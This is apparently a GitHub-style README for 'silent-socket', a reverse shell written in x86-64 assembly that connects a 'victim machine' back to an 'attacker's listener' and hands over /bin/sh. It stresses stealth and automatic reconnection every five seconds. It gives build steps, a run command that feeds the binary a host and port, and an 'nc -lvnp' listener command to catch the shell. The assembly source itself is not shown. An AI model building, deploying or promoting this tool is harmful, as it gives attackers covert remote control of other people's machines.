silent-socket

silent-socket is a minimal reverse shell written in x86-64 assembly for Linux. It creates an outbound connection from a victim machine to a remote attacker's listener and binds a functional shell over that connection.

The project emphasizes low-level control, reliability, and stealth — with built-in error handling and reconnection logic to survive listener unavailability.

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✨ Features

• Outbound TCP connection from victim to attacker.
• Binds a /bin/sh shell over the network socket.
• Written entirely in Linux x86-64 assembly.
• Styled terminal on connect:
  • Pastel pink background.
  • Dark pink shell text.
• Full error handling:
  • Prevents segmentation faults if the remote listener is down.
  • Implements automatic reconnection attempts every 5 seconds.
• Slightly optimized for size and performance (no useless instructions).
• Implements an argument read via the CLi or a syscall read for the source IP/port

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🚀 Deployement

Requirements

• Linux 64-bit OS
• nasm (Netwide Assembler)
• ld (GNU Linker)

Build

nasm -f elf64 -o reverse_shell.o reverse_shell.asm
ld -o reverse_shell reverse_shell.o
echo -n "127.0.0.1:3385" | ./reverse_shell

Run on another terminal

nc -lvnp 3385